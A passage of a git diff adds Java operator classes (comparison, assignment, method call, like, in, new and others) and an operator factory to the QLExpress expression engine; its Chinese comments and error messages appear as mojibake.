com.ql.util.express.instruction.OperateDataCacheManager; + +public class OperatorDoubleAddReduce extends OperatorBase { + public OperatorDoubleAddReduce(String name) { + this.name = name; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + Object obj = list.get(0).getObject(parent); + Object result = null; + if ("++".equals(this.getName())) { + result = OperatorOfNumber.add(obj, 1, this.isPrecise); + } else if ("--".equals(this.getName())) { + result = OperatorOfNumber.subtract(obj, 1, this.isPrecise); + } + list.get(0).setObject(parent, result); + + if (result == null) { + return OperateDataCacheManager.fetchOperateData(null, null); + } else { + return OperateDataCacheManager.fetchOperateData(result, ExpressUtil.getSimpleDataType(result.getClass())); + } + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorEqualsLessMore.java b/src/com/ql/util/express/instruction/op/OperatorEqualsLessMore.java new file mode 100644 index 00000000..cd35ce73 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorEqualsLessMore.java @@ -0,0 +1,57 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.Operator; +import com.ql.util.express.exception.QLException; + +import static com.ql.util.express.config.QLExpressRunStrategy.isCompareNullLessMoreAsFalse; + +/** + * 处ç†æ¯”较æ“ä½œç¬¦å· + */ +public class OperatorEqualsLessMore extends Operator { + public OperatorEqualsLessMore(String name) { + this.name = name; + } + + public OperatorEqualsLessMore(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public Object executeInner(Object[] list) throws Exception { + return executeInner(list[0], list[1]); + } + + public Object executeInner(Object op1, Object op2) throws Exception { + return executeInner(this.name, op1, op2); + } + + public static boolean executeInner(String opStr, Object obj1, Object obj2) throws Exception { + if ("==".equals(opStr)) { + return Operator.objectEquals(obj1, obj2); + } + if ("!=".equals(opStr) || "<>".equals(opStr)) { + return !Operator.objectEquals(obj1, obj2); + } + + // 进行其他大å°æ¯”较æ“作 + if (obj1 == null || obj2 == null) { + if (isCompareNullLessMoreAsFalse()) { + return false; + } + throw new QLException("空æ“作数无法进行数字比较æ“作:left = " + obj1 + ",right = " + obj2); + } + int i = Operator.compareData(obj1, obj2); + boolean result = false; + if (i > 0) { + result = ">".equals(opStr) || ">=".equals(opStr) || "!=".equals(opStr) || "<>".equals(opStr); + } else if (i == 0) { + result = "=".equals(opStr) || "==".equals(opStr) || ">=".equals(opStr) || "<=".equals(opStr); + } else if (i < 0) { + result = "<".equals(opStr) || "<=".equals(opStr) || "!=".equals(opStr) || "<>".equals(opStr); + } + return result; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorEvaluate.java b/src/com/ql/util/express/instruction/op/OperatorEvaluate.java new file mode 100644 index 00000000..98b042f1 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorEvaluate.java @@ -0,0 +1,43 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.ExpressUtil; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.exception.QLException; + +public class OperatorEvaluate extends OperatorBase { + public OperatorEvaluate(String name) { + this.name = name; + } + + public OperatorEvaluate(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + return executeInner(parent, list.get(0), list.get(1)); + } + + public OperateData executeInner(InstructionSetContext parent, + OperateData op1, OperateData op2) throws Exception { + Class targetType = op1.getDefineType(); + Class sourceType = op2.getType(parent); + if (targetType != null) { + if (!ExpressUtil.isAssignable(targetType, sourceType)) { + throw new QLException("赋值时候,类型转æ¢é”™è¯¯ï¼š" + ExpressUtil.getClassName(sourceType) + " ä¸èƒ½è½¬æ¢ä¸º " + + ExpressUtil.getClassName(targetType)); + } + + } + Object result = op2.getObject(parent); + if (targetType != null) { + result = ExpressUtil.castObject(result, targetType, false); + } + op1.setObject(parent, result); + return op1; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorExportAlias.java b/src/com/ql/util/express/instruction/op/OperatorExportAlias.java new file mode 100644 index 00000000..33f92cad --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorExportAlias.java @@ -0,0 +1,28 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.instruction.opdata.OperateDataAlias; +import com.ql.util.express.instruction.opdata.OperateDataAttr; + +public class OperatorExportAlias extends OperatorBase { + public OperatorExportAlias(String name) { + this.name = name; + } + + public OperatorExportAlias(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + String varName = (String)list.get(0).getObjectInner(parent); + OperateDataAttr realAttr = (OperateDataAttr)list.get(1); + OperateDataAttr result = new OperateDataAlias(varName, realAttr); + parent.exportSymbol(varName, result); + return result; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorExportDef.java b/src/com/ql/util/express/instruction/op/OperatorExportDef.java new file mode 100644 index 00000000..71dff11c --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorExportDef.java @@ -0,0 +1,29 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.instruction.opdata.OperateDataAttr; + +public class OperatorExportDef extends OperatorBase { + public OperatorExportDef(String name) { + this.name = name; + } + + public OperatorExportDef(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + Class tmpClass = (Class)list.get(0).getObject(parent); + String varName = (String)list.get(1).getObject(parent); + //OperateDataLocalVar result = new OperateDataLocalVar(varName,tmpClass); + //context.exportSymbol(varName, result); + OperateDataAttr result = (OperateDataAttr)parent.getSymbol(varName); + result.setDefineType(tmpClass); + return result; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorFactory.java b/src/com/ql/util/express/instruction/op/OperatorFactory.java new file mode 100644 index 00000000..3219da0e --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorFactory.java @@ -0,0 +1,150 @@ +package com.ql.util.express.instruction.op; + +import java.lang.reflect.Constructor; +import java.util.HashMap; +import java.util.Map; + +import com.ql.util.express.exception.QLCompileException; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.parse.ExpressNode; + +public class OperatorFactory { + /** + * 是å¦éœ€è¦é«˜ç²¾åº¦è®¡ç®— + */ + private final boolean isPrecise; + + private final Map operatorMap = new HashMap<>(); + + public OperatorFactory(boolean isPrecise) { + this.isPrecise = isPrecise; + addOperator("new", new OperatorNew("new")); + addOperator("anonymousNewArray", new OperatorAnonymousNewArray("anonymousNewArray")); + addOperator("NewList", new OperatorAnonymousNewList("NewList")); + addOperator(":", new OperatorKeyValue(":")); + addOperator("NewMap", new OperatorAnonymousNewMap("NewMap")); + addOperator("def", new OperatorDef("def")); + addOperator("exportDef", new OperatorExportDef("exportDef")); + addOperator("!", new OperatorNot("!")); + addOperator("*", new OperatorMultiplyDivide("*")); + addOperator("/", new OperatorMultiplyDivide("/")); + addOperator("%", new OperatorMultiplyDivide("%")); + addOperator("mod", new OperatorMultiplyDivide("mod")); + addOperator("+", new OperatorAdd("+")); + addOperator("-", new OperatorReduce("-")); + addOperator("<", new OperatorEqualsLessMore("<")); + addOperator(">", new OperatorEqualsLessMore(">")); + addOperator("<=", new OperatorEqualsLessMore("<=")); + addOperator(">=", new OperatorEqualsLessMore(">=")); + addOperator("==", new OperatorEqualsLessMore("==")); + addOperator("!=", new OperatorEqualsLessMore("!=")); + addOperator("<>", new OperatorEqualsLessMore("<>")); + addOperator("&&", new OperatorAnd("&&")); + addOperator("||", new OperatorOr("||")); + addOperator("nor", new OperatorNor("nor")); + addOperator("=", new OperatorEvaluate("=")); + addOperator("exportAlias", new OperatorExportAlias("exportAlias")); + addOperator("alias", new OperatorAlias("alias")); + addOperator("break", new OperatorBreak("break")); + addOperator("continue", new OperatorContinue("continue")); + addOperator("return", new OperatorReturn("return")); + addOperator("ARRAY_CALL", new OperatorArray("ARRAY_CALL")); + addOperator("++", new OperatorDoubleAddReduce("++")); + addOperator("--", new OperatorDoubleAddReduce("--")); + addOperator("cast", new OperatorCast("cast")); + addOperator("macro", new OperatorMacro("macro")); + addOperator("function", new OperatorFunction("function")); + addOperator("in", new OperatorIn("in")); + addOperator("like", new OperatorLike("like")); + + // bit operator + addOperator("&", new OperatorBit("&")); + addOperator("|", new OperatorBit("|")); + addOperator("^", new OperatorBit("^")); + addOperator("~", new OperatorBit("~")); + addOperator("<<", new OperatorBit("<<")); + addOperator(">>", new OperatorBit(">>")); + } + + public void addOperator(String name, OperatorBase operatorBase) { + OperatorBase existOperator = this.operatorMap.get(name); + if (existOperator != null) { + throw new RuntimeException( + "é‡å¤å®šä¹‰æ“作符:" + name + "定义1:" + existOperator.getClass() + " 定义2:" + operatorBase.getClass()); + } + operatorBase.setPrecise(this.isPrecise); + operatorBase.setAliasName(name); + operatorMap.put(name, operatorBase); + } + + public OperatorBase replaceOperator(String name, OperatorBase op) { + OperatorBase old = this.operatorMap.remove(name); + this.addOperator(name, op); + return old; + } + + @SuppressWarnings("unchecked") + public void addOperatorWithAlias(String aliasName, String name, String errorInfo) throws Exception { + if (!this.operatorMap.containsKey(name)) { + throw new QLException(name + " ä¸æ˜¯ç³»ç»Ÿçº§åˆ«çš„æ“作符å·ï¼Œä¸èƒ½è®¾ç½®åˆ«å"); + } else { + OperatorBase originalOperator = this.operatorMap.get(name); + if (originalOperator == null) { + throw new QLException(name + " ä¸èƒ½è¢«è®¾ç½®åˆ«å"); + } + OperatorBase destOperator; + if (originalOperator instanceof CanClone) { + destOperator = ((CanClone)originalOperator).cloneMe(aliasName, errorInfo); + } else { + Class opClass = (Class)originalOperator.getClass(); + Constructor constructor; + try { + constructor = opClass.getConstructor(String.class, String.class, String.class); + } catch (Exception e) { + throw new QLException(name + " ä¸èƒ½è¢«è®¾ç½®åˆ«å:" + e.getMessage()); + } + if (constructor == null) { + throw new QLException(name + " ä¸èƒ½è¢«è®¾ç½®åˆ«å"); + } + destOperator = constructor.newInstance(aliasName, name, errorInfo); + } + if (this.operatorMap.containsKey(aliasName)) { + throw new RuntimeException("æ“作符å·ï¼š\"" + aliasName + "\" å·²ç»å­˜åœ¨"); + } + this.addOperator(aliasName, destOperator); + } + } + + public boolean isExistOperator(String operatorName) { + return operatorMap.containsKey(operatorName); + } + + public OperatorBase getOperator(String operatorName) { + return this.operatorMap.get(operatorName); + } + + /** + * 创建一个新的æ“作符实例 + */ + public OperatorBase newInstance(ExpressNode opItem) throws Exception { + OperatorBase op = operatorMap.get(opItem.getNodeType().getName()); + if (op == null) { + op = operatorMap.get(opItem.getTreeType().getName()); + } + if (op == null) { + op = operatorMap.get(opItem.getValue()); + } + if (op == null) { + throw new QLCompileException("没有为\"" + opItem.getValue() + "\"定义æ“作符处ç†å¯¹è±¡"); + } + return op; + } + + public OperatorBase newInstance(String opName) throws Exception { + OperatorBase op = operatorMap.get(opName); + if (op == null) { + throw new QLCompileException("没有为\"" + opName + "\"定义æ“作符处ç†å¯¹è±¡"); + } + return op; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorField.java b/src/com/ql/util/express/instruction/op/OperatorField.java new file mode 100644 index 00000000..e481cc8f --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorField.java @@ -0,0 +1,35 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.config.QLExpressRunStrategy; +import com.ql.util.express.instruction.OperateDataCacheManager; + +public class OperatorField extends OperatorBase { + private String filedName; + + public OperatorField() { + this.name = "FieldCall"; + } + + public OperatorField(String fieldName) { + this.name = "FieldCall"; + this.filedName = fieldName; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + OperateData operateData = list.get(0); + if (operateData == null && QLExpressRunStrategy.isAvoidNullPointer()) { + return null; + } + Object obj = operateData.getObject(parent); + return OperateDataCacheManager.fetchOperateDataField(obj, this.filedName); + } + + @Override + public String toString() { + return this.name + ":" + this.filedName; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorIf.java b/src/com/ql/util/express/instruction/op/OperatorIf.java new file mode 100644 index 00000000..ea6d2b0d --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorIf.java @@ -0,0 +1,42 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.exception.QLException; + +public class OperatorIf extends OperatorBase { + public OperatorIf(String name) { + this.name = name; + } + + public OperatorIf(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + if (list.length < 2) { + throw new QLException("\"" + this.aliasName + "\"æ“作至少è¦ä¸¤ä¸ªæ“作数"); + } + Object obj = list.get(0).getObject(parent); + if (obj == null) { + String msg = "\"" + this.aliasName + "\"的判断æ¡ä»¶ä¸èƒ½ä¸ºç©º"; + throw new QLException(msg); + } else if (!(obj instanceof Boolean)) { + String msg = "\"" + this.aliasName + "\"的判断æ¡ä»¶ 必须是 Boolean,ä¸èƒ½æ˜¯ï¼š"; + throw new QLException(msg + obj.getClass().getName()); + } else { + if ((Boolean)obj) { + return list.get(1); + } else { + if (list.length == 3) { + return list.get(2); + } + } + return null; + } + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorIn.java b/src/com/ql/util/express/instruction/op/OperatorIn.java new file mode 100644 index 00000000..6387acfd --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorIn.java @@ -0,0 +1,65 @@ +package com.ql.util.express.instruction.op; + +import java.lang.reflect.Array; +import java.util.List; + +import com.ql.util.express.Operator; +import com.ql.util.express.config.QLExpressRunStrategy; +import com.ql.util.express.exception.QLException; + +public class OperatorIn extends Operator { + public OperatorIn(String name) { + this.name = name; + } + + public OperatorIn(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public Object executeInner(Object[] list) throws Exception { + Object obj = list[0]; + if (obj == null) { + if (QLExpressRunStrategy.isAvoidNullPointer()) { + //é¿å…空指针策略异常则返回false + return false; + } + // 对象为空,ä¸èƒ½æ‰§è¡Œæ–¹æ³• + String msg = "对象为空,ä¸èƒ½æ‰§è¡Œæ–¹æ³•:"; + throw new QLException(msg + this.name); + } else if (!((obj instanceof Number) || (obj instanceof String))) { + String msg = "对象类型ä¸åŒ¹é…,åªæœ‰æ•°å­—和字符串类型æ‰æ‰èƒ½æ‰§è¡Œ in æ“作,当å‰æ•°æ®ç±»åž‹æ˜¯:"; + throw new QLException(msg + obj.getClass().getName()); + } else if (list.length == 2 && (list[1].getClass().isArray() || list[1] instanceof List)) { + if (list[1].getClass().isArray()) { + int len = Array.getLength(list[1]); + for (int i = 0; i < len; i++) { + boolean f = OperatorEqualsLessMore.executeInner("==", obj, Array.get(list[1], i)); + if (f) { + return Boolean.TRUE; + } + } + } else if (list[1] instanceof List) { + @SuppressWarnings("unchecked") + List array = (List)list[1]; + for (Object o : array) { + boolean f = OperatorEqualsLessMore.executeInner("==", obj, o); + if (f) { + return Boolean.TRUE; + } + } + } + return false; + } else { + for (int i = 1; i < list.length; i++) { + boolean f = OperatorEqualsLessMore.executeInner("==", obj, list[i]); + if (f) { + return Boolean.TRUE; + } + } + return Boolean.FALSE; + } + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorInstanceOf.java b/src/com/ql/util/express/instruction/op/OperatorInstanceOf.java new file mode 100644 index 00000000..0f3f72e6 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorInstanceOf.java @@ -0,0 +1,24 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.Operator; + +/** + * Created by tianqiao on 17/9/19. + */ +public class OperatorInstanceOf extends Operator { + public OperatorInstanceOf(String anInstanceof) { + this.name = anInstanceof; + } + + @Override + public Object executeInner(Object[] list) { + Object obj = list[0]; + Object cls = list[1]; + if (obj != null && cls instanceof Class) { + Class targetClass = (Class)cls; + Class fromClass = obj.getClass(); + return targetClass.isAssignableFrom(fromClass); + } + return false; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorKeyValue.java b/src/com/ql/util/express/instruction/op/OperatorKeyValue.java new file mode 100644 index 00000000..78f318da --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorKeyValue.java @@ -0,0 +1,23 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.instruction.OperateDataCacheManager; + +public class OperatorKeyValue extends OperatorBase { + public OperatorKeyValue(String name) { + this.name = name; + } + + public OperatorKeyValue(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) { + return OperateDataCacheManager.fetchOperateDataKeyValue(list.get(0), list.get(1)); + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorLike.java b/src/com/ql/util/express/instruction/op/OperatorLike.java new file mode 100644 index 00000000..18c20fd4 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorLike.java @@ -0,0 +1,52 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.Operator; + +public class OperatorLike extends Operator { + public OperatorLike(String name) { + this.name = name; + } + + @Override + public Object executeInner(Object[] list) throws Exception { + return executeInner(list[0], list[1]); + } + + public Object executeInner(Object op1, Object op2) throws Exception { + if (op1 == null && op2 == null) { + return true; + } + if (op1 == null || op2 == null) { + return false; + } + String s = op1.toString(); + String pattern = op2.toString(); + + return matchPattern(s, pattern); + } + + protected static boolean matchPattern(String s, String pattern) { + int sPointer = 0, pPointer = 0; + int sLen = s.length(), pLen = pattern.length(); + int sRecall = -1, pRecall = -1; + while (sPointer < sLen) { + if (pPointer < pLen && (s.charAt(sPointer) == pattern.charAt(pPointer))) { + sPointer++; + pPointer++; + } else if (pPointer < pLen && pattern.charAt(pPointer) == '%') { + sRecall = sPointer; + pRecall = pPointer; + pPointer++; + } else if (sRecall >= 0) { + sPointer = ++sRecall; + pPointer = pRecall + 1; + } else { + return false; + } + } + while (pPointer < pLen && pattern.charAt(pPointer) == '%') { + pPointer++; + } + return pPointer == pLen; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorMacro.java b/src/com/ql/util/express/instruction/op/OperatorMacro.java new file mode 100644 index 00000000..6297bb87 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorMacro.java @@ -0,0 +1,28 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.instruction.opdata.OperateDataAlias; +import com.ql.util.express.instruction.opdata.OperateDataAttr; + +public class OperatorMacro extends OperatorBase { + public OperatorMacro(String name) { + this.name = name; + } + + public OperatorMacro(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + String varName = (String)list.get(0).getObjectInner(parent); + OperateDataAttr realAttr = (OperateDataAttr)list.get(1); + OperateDataAttr result = new OperateDataAlias(varName, realAttr); + parent.addSymbol(varName, result); + return result; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorMethod.java b/src/com/ql/util/express/instruction/op/OperatorMethod.java new file mode 100644 index 00000000..aa23bc96 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorMethod.java @@ -0,0 +1,140 @@ +package com.ql.util.express.instruction.op; + +import java.lang.reflect.Method; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.ExpressUtil; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.config.QLExpressRunStrategy; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.OperateDataCacheManager; +import com.ql.util.express.instruction.opdata.OperateClass; +import com.ql.util.express.instruction.opdata.OperateDataVirClass; +import com.ql.util.express.parse.AppendingClassMethodManager; + +public class OperatorMethod extends OperatorBase { + private String methodName; + + private static final Class ARRAY_CLASS = Object[].class; + + public OperatorMethod() { + this.name = "MethodCall"; + } + + public OperatorMethod(String methodName) { + this.name = "MethodCall"; + this.methodName = methodName; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + OperateData p0 = list.get(0); + Object obj = p0.getObject(parent); + if (obj instanceof OperateDataVirClass) { + OperateDataVirClass vClass = (OperateDataVirClass)obj; + OperateData[] parameters = new OperateData[list.length - 1]; + for (int i = 0; i < list.length - 1; i++) { + parameters[i] = list.get(i + 1); + } + return vClass.callSelfFunction(this.methodName, parameters); + } + + if (obj == null) { + if (QLExpressRunStrategy.isAvoidNullPointer()) { + return null; + } + // 对象为空,ä¸èƒ½æ‰§è¡Œæ–¹æ³• + String msg = "对象为空,ä¸èƒ½æ‰§è¡Œæ–¹æ³•:"; + throw new QLException(msg + this.methodName); + } else { + Class[] types = new Class[list.length - 1]; + Class[] originalTypes = new Class[list.length - 1]; + + Object[] objs = new Object[list.length - 1]; + Object tmpObj; + OperateData p; + for (int i = 0; i < types.length; i++) { + p = list.get(i + 1); + tmpObj = p.getObject(parent); + types[i] = p.getType(parent); + originalTypes[i] = p.getType(parent); + objs[i] = tmpObj; + } + AppendingClassMethodManager appendingClassMethodManager = parent.getExpressRunner() + .getAppendingClassMethodManager(); + + if (appendingClassMethodManager != null) { + AppendingClassMethodManager.AppendingMethod appendingClassMethod + = appendingClassMethodManager.getAppendingClassMethod(obj, this.methodName); + if (appendingClassMethod != null) { + return appendingClassMethodManager.invoke(appendingClassMethod, parent, list, null); + } + } + if (QLExpressRunStrategy.isSandboxMode()) { + throw new QLException("没有找到方法:" + this.methodName); + } + Method method = null; + // 调用é™æ€æ–¹æ³• + if (p0 instanceof OperateClass) { + method = ExpressUtil.findMethodWithCache((Class)obj, this.methodName, types, true, true); + } else { + if (obj instanceof Class) { + method = ExpressUtil.findMethodWithCache((Class)obj, this.methodName, types, true, true); + } + if (method == null) { + method = ExpressUtil.findMethodWithCache(obj.getClass(), this.methodName, types, true, false); + } + } + if (method == null) { + types = new Class[] {ARRAY_CLASS}; + // 调用é™æ€æ–¹æ³• + if (p0 instanceof OperateClass) { + method = ExpressUtil.findMethodWithCache((Class)obj, methodName, types, true, true); + } else { + method = ExpressUtil.findMethodWithCache(obj.getClass(), methodName, types, true, false); + } + objs = new Object[] {objs}; + } + if (method == null) { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.append("没有找到").append(obj.getClass().getName()).append("的方法:").append(methodName).append( + "("); + for (int i = 0; i < originalTypes.length; i++) { + if (i > 0) { + stringBuilder.append(","); + } + if (originalTypes[i] == null) { + stringBuilder.append("null"); + } else { + stringBuilder.append(originalTypes[i].getName()); + } + } + stringBuilder.append(")"); + throw new QLException(stringBuilder.toString()); + } + + //阻止调用ä¸å®‰å…¨çš„方法 + QLExpressRunStrategy.assertSecurityRiskMethod(method); + + // 调用é™æ€æ–¹æ³• + if (p0 instanceof OperateClass) { + boolean oldA = method.isAccessible(); + method.setAccessible(true); + tmpObj = method.invoke(null, ExpressUtil.transferArray(objs, method.getParameterTypes())); + method.setAccessible(oldA); + } else { + boolean oldA = method.isAccessible(); + method.setAccessible(true); + tmpObj = method.invoke(obj, ExpressUtil.transferArray(objs, method.getParameterTypes())); + method.setAccessible(oldA); + } + return OperateDataCacheManager.fetchOperateData(tmpObj, method.getReturnType()); + } + } + + @Override + public String toString() { + return this.name + ":" + this.methodName; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorMinMax.java b/src/com/ql/util/express/instruction/op/OperatorMinMax.java new file mode 100644 index 00000000..0612ebcb --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorMinMax.java @@ -0,0 +1,42 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.Operator; +import com.ql.util.express.exception.QLException; + +public class OperatorMinMax extends Operator { + public OperatorMinMax(String name) { + this.name = name; + } + + @Override + public Object executeInner(Object[] list) throws Exception { + if (list.length == 0) { + throw new QLException("æ“作数异常"); + } + Object result = list[0]; + + for (int i = 1; i < list.length; i++) { + result = executeInner(result, list[i]); + } + return result; + } + + public Object executeInner(Object op1, Object op2) throws Exception { + Object result = null; + int compareResult = Operator.compareData(op1, op2); + if ("min".equals(this.name)) { + if (compareResult < 0) { + result = op1; + } else { + result = op2; + } + } else if ("max".equals(this.name)) { + if (compareResult < 0) { + result = op2; + } else { + result = op1; + } + } + return result; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorMultiplyDivide.java b/src/com/ql/util/express/instruction/op/OperatorMultiplyDivide.java new file mode 100644 index 00000000..9c1efdce --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorMultiplyDivide.java @@ -0,0 +1,34 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.Operator; +import com.ql.util.express.OperatorOfNumber; + +public class OperatorMultiplyDivide extends Operator { + public OperatorMultiplyDivide(String name) { + this.name = name; + } + + @Override + public Object executeInner(Object[] list) throws Exception { + return executeInner(list[0], list[1]); + } + + public Object executeInner(Object op1, Object op2) throws Exception { + Object result = null; + switch (this.getName()) { + case "*": + result = OperatorOfNumber.multiply(op1, op2, this.isPrecise); + break; + case "/": + result = OperatorOfNumber.divide(op1, op2, this.isPrecise); + break; + case "%": + case "mod": + result = OperatorOfNumber.modulo(op1, op2); + break; + default: + break; + } + return result; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorNew.java b/src/com/ql/util/express/instruction/op/OperatorNew.java new file mode 100644 index 00000000..5427162c --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorNew.java @@ -0,0 +1,68 @@ +package com.ql.util.express.instruction.op; + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.ExpressUtil; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.config.QLExpressRunStrategy; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.OperateDataCacheManager; + +public class OperatorNew extends OperatorBase { + public OperatorNew(String name) { + this.name = name; + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + Class obj = (Class)list.get(0).getObject(parent); + if (obj.isArray()) { + Class tmpClass = obj; + int dim = 0; + while (tmpClass.isArray()) { + tmpClass = tmpClass.getComponentType(); + dim = dim + 1; + } + int[] dimLength = new int[dim]; + for (int index = 0; index < dim; index++) { + dimLength[index] = ((Number)(list.get(index + 1).getObject(parent))) + .intValue(); + } + if (dimLength.length > 0) { + if (!QLExpressRunStrategy.checkArrLength(dimLength[0])) { + throw new QLException("超过了最大的数组申请é™åˆ¶"); + } + } + return OperateDataCacheManager.fetchOperateData(Array.newInstance(tmpClass, dimLength), obj); + } + Class[] types = new Class[list.length - 1]; + Object[] objs = new Object[list.length - 1]; + Object tmpObj; + for (int i = 0; i < types.length; i++) { + tmpObj = list.get(i + 1).getObject(parent); + types[i] = list.get(i + 1).getType(parent); + objs[i] = tmpObj; + } + Constructor c = ExpressUtil.findConstructorWithCache(obj, types); + + if (c == null) { + // "没有找到" + obj.getName() + "的构造方法:" + StringBuilder s = new StringBuilder(); + s.append("没有找到").append(obj.getName()).append("的构造方法:").append(obj.getName()).append("("); + for (int i = 0; i < types.length; i++) { + if (i > 0) { + s.append(","); + } + s.append(types[i].getName()); + } + s.append(")"); + throw new QLException(s.toString()); + } + + tmpObj = c.newInstance(objs); + return OperateDataCacheManager.fetchOperateData(tmpObj, obj); + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorNor.java b/src/com/ql/util/express/instruction/op/OperatorNor.java new file mode 100644 index 00000000..d1fa5632 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorNor.java @@ -0,0 +1,28 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.Operator; + +public class OperatorNor extends Operator { + public OperatorNor(String name) { + this.name = name; + } + + public OperatorNor(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public Object executeInner(Object[] list) throws Exception { + return executeInner(list[0], list[1]); + } + + public Object executeInner(Object op1, Object op2) { + if (op1 != null) { + return op1; + } else { + return op2; + } + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorNot.java b/src/com/ql/util/express/instruction/op/OperatorNot.java new file mode 100644 index 00000000..3eb1f9cf --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorNot.java @@ -0,0 +1,35 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.Operator; +import com.ql.util.express.exception.QLException; + +public class OperatorNot extends Operator { + public OperatorNot(String name) { + this.name = name; + } + + public OperatorNot(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public Object executeInner(Object[] list) throws Exception { + return executeInner(list[0]); + } + + public Object executeInner(Object op) throws Exception { + Object result; + if (op == null) { + throw new QLException("null ä¸èƒ½æ‰§è¡Œæ“作:" + 